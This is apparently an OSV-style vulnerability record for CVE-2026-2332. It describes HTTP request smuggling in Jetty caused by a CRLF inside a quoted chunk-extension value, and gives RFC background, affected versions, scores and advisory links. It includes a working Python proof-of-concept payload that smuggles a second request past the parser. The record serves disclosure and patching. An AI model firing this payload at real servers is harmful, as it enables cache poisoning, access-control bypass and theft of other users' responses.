{"id":"CVE-2026-2332","aliases":["GHSA-355h-qmc2-wpwf"],"url":"https://o3.security/vulnerability/CVE-2026-2332","summary":"HTTP Request Smuggling via Chunked Extension Quoted-String Parsing","details":"### Description (as reported)\n\nJetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.\n\n### Background\n\nThis vulnerability is a new variant discovered while researching the \"Funky Chunks\" HTTP request smuggling techniques:\n- https://w4ke.info/2025/06/18/funky-chunks.html\n- https://w4ke.info/2025/10/29/funky-chunks-2.html\n\nThe original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.\n\n### Technical Details\n\n**RFC 9112 Section 7.1.1** defines chunked transfer encoding:\n```\nchunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF\nchunk-ext = *( BWS \";\" BWS chunk-ext-name [ BWS \"=\" BWS chunk-ext-val ] )\nchunk-ext-val = token / quoted-string\n```\n\n**RFC 9110 Section 5.6.4** defines quoted-string:\n```\nquoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n```\n\nA quoted-string continues until the closing DQUOTE, and `\\r\\n` sequences are not permitted within the quotes.\n\n### Vulnerability\n\nJetty terminates chunk header parsing at `\\r\\n` inside quoted strings instead of treating this as an error.\n\n**Expected (RFC compliant):**\n```\nChunk: 1;a=\"value\\r\\nhere\"\\r\\n\n         ^^^^^^^^^^^^^^^^^^ extension value\nBody: [1 byte after the real \\r\\n]\n```\n\n**Actual (jetty):**\n```\nChunk: 1;a=\"value\n            ^^^^^ terminates here (WRONG)\nBody: here\"... treated as body/next request\n```\n\n### Proof of Concept\n\n```python\n#!/usr/bin/env python3\nimport socket\n\npayload = (\n    b\"POST / HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Transfer-Encoding: chunked\\r\\n\"\n    b\"\\r\\n\"\n    b'1;a=\"\\r\\n'\n    b\"X\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n    b\"GET /smuggled HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Content-Length: 11\\r\\n\"\n    b\"\\r\\n\"\n    b'\"\\r\\n'\n    b\"Y\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(3)\nsock.connect((\"127.0.0.1\", 8080))\nsock.sendall(payload)\n\nresponse = b\"\"\nwhile True:\n    try:\n        chunk = sock.recv(4096)\n        if not chunk:\n            break\n        response += chunk\n    except socket.timeout:\n        break\n\nsock.close()\nprint(f\"Responses: {response.count(b'HTTP/')}\")\nprint(response.decode(errors=\"replace\"))\n```\n\n**Result:** Server returns 2 HTTP responses from a single TCP connection.\n\n#### Parsing Breakdown\n\n| Parser | Request 1 | Request 2 |\n|--------|-----------|-----------|\n| jetty (vulnerable) | POST / body=\"X\" | GET /smuggled (SMUGGLED!) |\n| RFC compliant | POST / body=\"Y\" | (none - smuggled request hidden in extension) |\n\n### Impact\n\n- **Request Smuggling**: Attacker injects arbitrary HTTP requests\n- **Cache Poisoning**: Smuggled responses poison shared caches\n- **Access Control Bypass**: Smuggled requests bypass frontend security\n- **Session Hijacking**: Smuggled requests can steal other users' responses\n\n### Reproduction\n\n1. Start the minimal POC with docker\n2. Run the poc script provided in same zip\n\n### Suggested Fix\n\nEnsure the chunk framing and extensions are parsed exactly as specified in RFC9112. \nA CRLF inside a quoted-string should be considered a parsing error and not a line terminator.\n\n\n### Patches\nNo patches yet.\n\n### Workarounds\nNo workarounds yet.\n\n### References\n\n- RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)\n- Funky Chunks Research: https://w4ke.info/2025/06/18/funky-chunks.html\n- details for security versions https://jetty.org/security.html","published":"2026-04-14T10:59:10.193Z","modified":"2026-09-15T03:31:03.325822020Z","cvss":{"score":7.4,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"},"epss":{"score":0.01213,"percentile":0.65762,"asOf":"2026-08-12"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Maven","name":"org.eclipse.jetty:jetty-http","fixedVersion":"12.1.7"},{"ecosystem":"Maven","name":"org.eclipse.jetty:jetty-http","fixedVersion":"12.0.33"},{"ecosystem":"Maven","name":"org.eclipse.jetty:jetty-http","fixedVersion":"11.0.29"},{"ecosystem":"Maven","name":"org.eclipse.jetty:jetty-http","fixedVersion":"10.0.28"},{"ecosystem":"Maven","name":"org.eclipse.jetty:jetty-http","fixedVersion":"9.4.60"}],"fix":null,"references":[{"type":"WEB","url":"https://repo.maven.apache.org/maven2"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-2332.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:10175"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:14272"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:17668"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:20568"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:21773"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:22453"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:25089"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:50221"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:50222"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:50223"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:50263"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:60239"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:60246"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:60247"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:60248"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:60249"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:60250"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:60251"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:60252"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:60254"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:60256"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:60259"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-2332"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/2xxx/CVE-2026-2332.json"},{"type":"ADVISORY","url":"https://github.com/jetty/jetty.project/security/advisories/GHSA-355h-qmc2-wpwf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-2332"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2458187"},{"type":"REPORT","url":"https://gitlab.eclipse.org/security/cve-assignment/-/issues/89"},{"type":"PACKAGE","url":"https://github.com/jetty/jetty.project"},{"type":"WEB","url":"https://w4ke.info/2025/06/18/funky-chunks.html"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-15T03:31:03.325822020Z"}}